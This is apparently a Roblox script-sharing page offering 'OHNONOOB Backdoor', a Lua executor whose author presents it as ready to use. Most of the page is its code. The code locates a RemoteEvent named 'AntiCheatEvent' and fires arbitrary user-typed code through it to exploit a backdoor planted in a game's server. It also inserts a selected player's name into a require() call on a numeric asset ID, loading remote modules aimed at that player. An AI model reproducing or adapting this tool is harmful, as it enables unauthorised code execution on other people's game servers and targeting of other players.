OHNONOOB Backdoor
Key RequiredUniversal

OHNONOOB Backdoor

Universal Scriptohnonoob38ohnonoob38 4.1K views 168 executesUpdated May 2, 2026
0.0/ 5(1 votes)
010% Positive
Lua Script•242 lines (8449 chars)
--[=[
 d888b  db    db d888888b      .d888b.      db      db    db  .d8b.  
88' Y8b 88    88   `88'        VP  `8D      88      88    88 d8' `8b 
88      88    88    88            odD'      88      88    88 88ooo88 
88  ooo 88    88    88          .88'        88      88    88 88~~~88 
88. ~8~ 88b  d88   .88.        j88.         88booo. 88b  d88 88   88    @uniquadev
 Y888P  ~Y8888P' Y888888P      888888D      Y88888P ~Y8888P' YP   YP  CONVERTER 

designed using localmaze gui creator
]=]

-- Instances: 10 | Scripts: 3 | Modules: 0 | Tags: 0
local LMG2L = {};

-- Players.ohnonoob38.PlayerGui.ScreenGui
LMG2L["ScreenGui_1"] = Instance.new("ScreenGui", game:GetService("Players").LocalPlayer:WaitForChild("PlayerGui"));
LMG2L["ScreenGui_1"]["ZIndexBehavior"] = Enum.ZIndexBehavior.Sibling;


-- Players.ohnonoob38.PlayerGui.ScreenGui.Frame
LMG2L["Frame_2"] = Instance.new("Frame", LMG2L["ScreenGui_1"]);
LMG2L["Frame_2"]["BorderSizePixel"] = 0;
LMG2L["Frame_2"]["BackgroundColor3"] = Color3.fromRGB(0, 253, 255);
LMG2L["Frame_2"]["Size"] = UDim2.new(0, 410, 0, 294);
LMG2L["Frame_2"]["Position"] = UDim2.new(0, 828, 0, 42);
LMG2L["Frame_2"]["BorderColor3"] = Color3.fromRGB(120, 117, 6);


-- Players.ohnonoob38.PlayerGui.ScreenGui.Frame.TextButton2
LMG2L["TextButton2_3"] = Instance.new("TextButton", LMG2L["Frame_2"]);
LMG2L["TextButton2_3"]["BorderSizePixel"] = 0;
LMG2L["TextButton2_3"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
LMG2L["TextButton2_3"]["Size"] = UDim2.new(0.2, 0, 0.3, 0);
LMG2L["TextButton2_3"]["Text"] = [[Clear]];
LMG2L["TextButton2_3"]["Name"] = [[TextButton2]];
LMG2L["TextButton2_3"]["Position"] = UDim2.new(0, 324, 0, 202);


-- Players.ohnonoob38.PlayerGui.ScreenGui.Frame.TextButton2.LocalScript
LMG2L["LocalScript_4"] = Instance.new("LocalScript", LMG2L["TextButton2_3"]);



-- Players.ohnonoob38.PlayerGui.ScreenGui.Frame.TextButton3
LMG2L["TextButton3_5"] = Instance.new("TextButton", LMG2L["Frame_2"]);
LMG2L["TextButton3_5"]["BorderSizePixel"] = 0;
LMG2L["TextButton3_5"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
LMG2L["TextButton3_5"]["Size"] = UDim2.new(0.2, 0, 0.3, 0);
LMG2L["TextButton3_5"]["Text"] = [[Add Username]];
LMG2L["TextButton3_5"]["Name"] = [[TextButton3]];
LMG2L["TextButton3_5"]["Position"] = UDim2.new(0, 88, 0, 202);


-- Players.ohnonoob38.PlayerGui.ScreenGui.Frame.TextButton3.LocalScript
LMG2L["LocalScript_6"] = Instance.new("LocalScript", LMG2L["TextButton3_5"]);



-- Players.ohnonoob38.PlayerGui.ScreenGui.Frame.TextButton
LMG2L["TextButton_7"] = Instance.new("TextButton", LMG2L["Frame_2"]);
LMG2L["TextButton_7"]["BorderSizePixel"] = 0;
LMG2L["TextButton_7"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
LMG2L["TextButton_7"]["Size"] = UDim2.new(0.2, 0, 0.3, 0);
LMG2L["TextButton_7"]["Text"] = [[Execute]];
LMG2L["TextButton_7"]["Position"] = UDim2.new(0, 2, 0, 202);


-- Players.ohnonoob38.PlayerGui.ScreenGui.Frame.TextButton.LocalScript
LMG2L["LocalScript_8"] = Instance.new("LocalScript", LMG2L["TextButton_7"]);



-- Players.ohnonoob38.PlayerGui.ScreenGui.Frame.TextBox
LMG2L["TextBox_9"] = Instance.new("TextBox", LMG2L["Frame_2"]);
LMG2L["TextBox_9"]["BorderSizePixel"] = 0;
LMG2L["TextBox_9"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
LMG2L["TextBox_9"]["Size"] = UDim2.new(0, 400, 0, 174);
LMG2L["TextBox_9"]["Position"] = UDim2.new(0, 4, 0, 4);
LMG2L["TextBox_9"]["BackgroundTransparency"] = 0.2;


-- Players.ohnonoob38.PlayerGui.ScreenGui.Frame.TextLabel
LMG2L["TextLabel_a"] = Instance.new("TextLabel", LMG2L["Frame_2"]);
LMG2L["TextLabel_a"]["TextWrapped"] = true;
LMG2L["TextLabel_a"]["BorderSizePixel"] = 0;
LMG2L["TextLabel_a"]["TextScaled"] = true;
LMG2L["TextLabel_a"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
LMG2L["TextLabel_a"]["FontFace"] = Font.new([[rbxasset://fonts/families/Zekton.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
LMG2L["TextLabel_a"]["BackgroundTransparency"] = 1;
LMG2L["TextLabel_a"]["RichText"] = true;
LMG2L["TextLabel_a"]["Size"] = UDim2.new(0, 128, 0, 76);
LMG2L["TextLabel_a"]["Text"] = [[ohnonoobs backdoor scanner]];
LMG2L["TextLabel_a"]["Position"] = UDim2.new(0, 184, 0, 206);


-- Players.ohnonoob38.PlayerGui.ScreenGui.Frame.TextButton2.LocalScript
local function C_4()
	local script = LMG2L["LocalScript_4"];
	local button = script.Parent	
	local frame = button.Parent	
	local textbox = frame:WaitForChild("TextBox")	
	
	button.MouseButton1Click:Connect(function()	
		textbox.Text = ""	
	end)	
end;
task.spawn(C_4);
-- Players.ohnonoob38.PlayerGui.ScreenGui.Frame.TextButton3.LocalScript
local function C_6()
	local script = LMG2L["LocalScript_6"];
	local Players = game:GetService("Players")	
	local button = script.Parent	
	local frame = button.Parent	
	local textbox = frame:WaitForChild("TextBox")	
	
	-- 1. Create the Red Selection GUI	
	local selectionFrame = Instance.new("Frame")	
	selectionFrame.Size = UDim2.new(0, 250, 0, 350)	
	selectionFrame.Position = UDim2.new(0.5, -125, 0.5, -175)	
	selectionFrame.BackgroundColor3 = Color3.fromRGB(200, 0, 0) -- Solid Red	
	selectionFrame.Visible = false	
	selectionFrame.ZIndex = 10	
	selectionFrame.Parent = button:FindFirstAncestorOfClass("ScreenGui")	
	
	-- 2. White X Close Button	
	local closeBtn = Instance.new("TextButton")	
	closeBtn.Size = UDim2.new(0, 30, 0, 30)	
	closeBtn.Position = UDim2.new(1, -35, 0, 5)	
	closeBtn.Text = "X"	
	closeBtn.TextColor3 = Color3.fromRGB(255, 255, 255) -- White X	
	closeBtn.BackgroundTransparency = 1	
	closeBtn.TextSize = 25	
	closeBtn.Parent = selectionFrame	
	closeBtn.MouseButton1Click:Connect(function() selectionFrame.Visible = false end)	
	
	-- 3. Player List	
	local scroll = Instance.new("ScrollingFrame")	
	scroll.Size = UDim2.new(0.9, 0, 0.8, 0)	
	scroll.Position = UDim2.new(0.05, 0, 0.15, 0)	
	scroll.BackgroundTransparency = 1	
	scroll.Parent = selectionFrame	
	Instance.new("UIListLayout", scroll)	
	
	button.MouseButton1Click:Connect(function()	
		local text = textbox.Text	
			
		-- Keywords to look for inside the parentheses	
		local keywords = {	
			'%(" ")', 	
			'%("username"%)', 	
			'%(username here%)',	
			'%("username here"%)',	
			'%(%)' -- empty brackets	
		}	
	
		local hasPlaceholder = false	
		for _, pattern in pairs(keywords) do	
			if text:match(pattern) then	
				hasPlaceholder = true	
				break	
			end	
		end	
	
		-- If it finds a placeholder, open the Red GUI to pick a user	
		if hasPlaceholder then	
			for _, child in pairs(scroll:GetChildren()) do	
				if child:IsA("TextButton") then child:Destroy() end	
			end	
	
			for _, p in pairs(Players:GetPlayers()) do	
				local pBtn = Instance.new("TextButton")	
				pBtn.Size = UDim2.new(1, 0, 0, 30)	
				pBtn.Text = p.Name	
				pBtn.Parent = scroll	
					
				pBtn.MouseButton1Click:Connect(function()	
					local newText = text	
					-- Replace the placeholder with the actual picked username	
					for _, pattern in pairs(keywords) do	
						newText = newText:gsub(pattern, '("' .. p.Name .. '")')	
					end	
						
					textbox.Text = newText -- Updates the textbox with the name	
						
					-- Run the require immediately	
					local id = tonumber(newText:match("%d+"))	
					if id then	
						pcall(function() require(id)(p.Name) end)	
					end	
						
					selectionFrame.Visible = false	
				end)	
			end	
			selectionFrame.Visible = true	
		end	
	end)	
	
end;
task.spawn(C_6);
-- Players.ohnonoob38.PlayerGui.ScreenGui.Frame.TextButton.LocalScript
local function C_8()
	local script = LMG2L["LocalScript_8"];
	local button = script.Parent	
	local frame = button.Parent	
	local textbox = frame:FindFirstChildWhichIsA("TextBox")	
	
	local function getRemote()	
		-- Searching only for the specific name provided	
		for _, v in pairs(game:GetDescendants()) do	
			if v:IsA("RemoteEvent") and v.Name == "AntiCheatEvent" then	
				return v	
			end	
		end	
		return nil	
	end	
	
	local function execute()	
		local code = textbox and textbox.Text or ""	
		if code == "" then return end	
	
		local remote = getRemote()	
		if not remote then	
			warn("AntiCheatEvent not found in game hierarchy.")	
			return	
		end	
	
		-- Using pcall to prevent the script from breaking if the FireServer fails	
		local success, err = pcall(function()	
			remote:FireServer(code)	
		end)	
			
		if not success then	
			warn("Failed to fire RemoteEvent: " .. err)	
		end	
	end	
	
	button.MouseButton1Click:Connect(execute)	
	
end;
task.spawn(C_8);

return LMG2L["ScreenGui_1"], require;

Features & Information

My Backdoor We Made B) (MBWM)

Community Comments (3)

ohnonoob38ohnonoob38May 2, 2026

We just made a backdoor executor B) (only if your remote is AntiCheatEvent and your require-made or require needs a lowercased (username) in your require just the word (username).

ohnonoob38ohnonoob38May 14, 2026

@valerislaughterbeck I'm not joining this link

ohnonoob38ohnonoob38May 14, 2026

@karteralfaro9 pls stop

More Scripts for Universal Scripts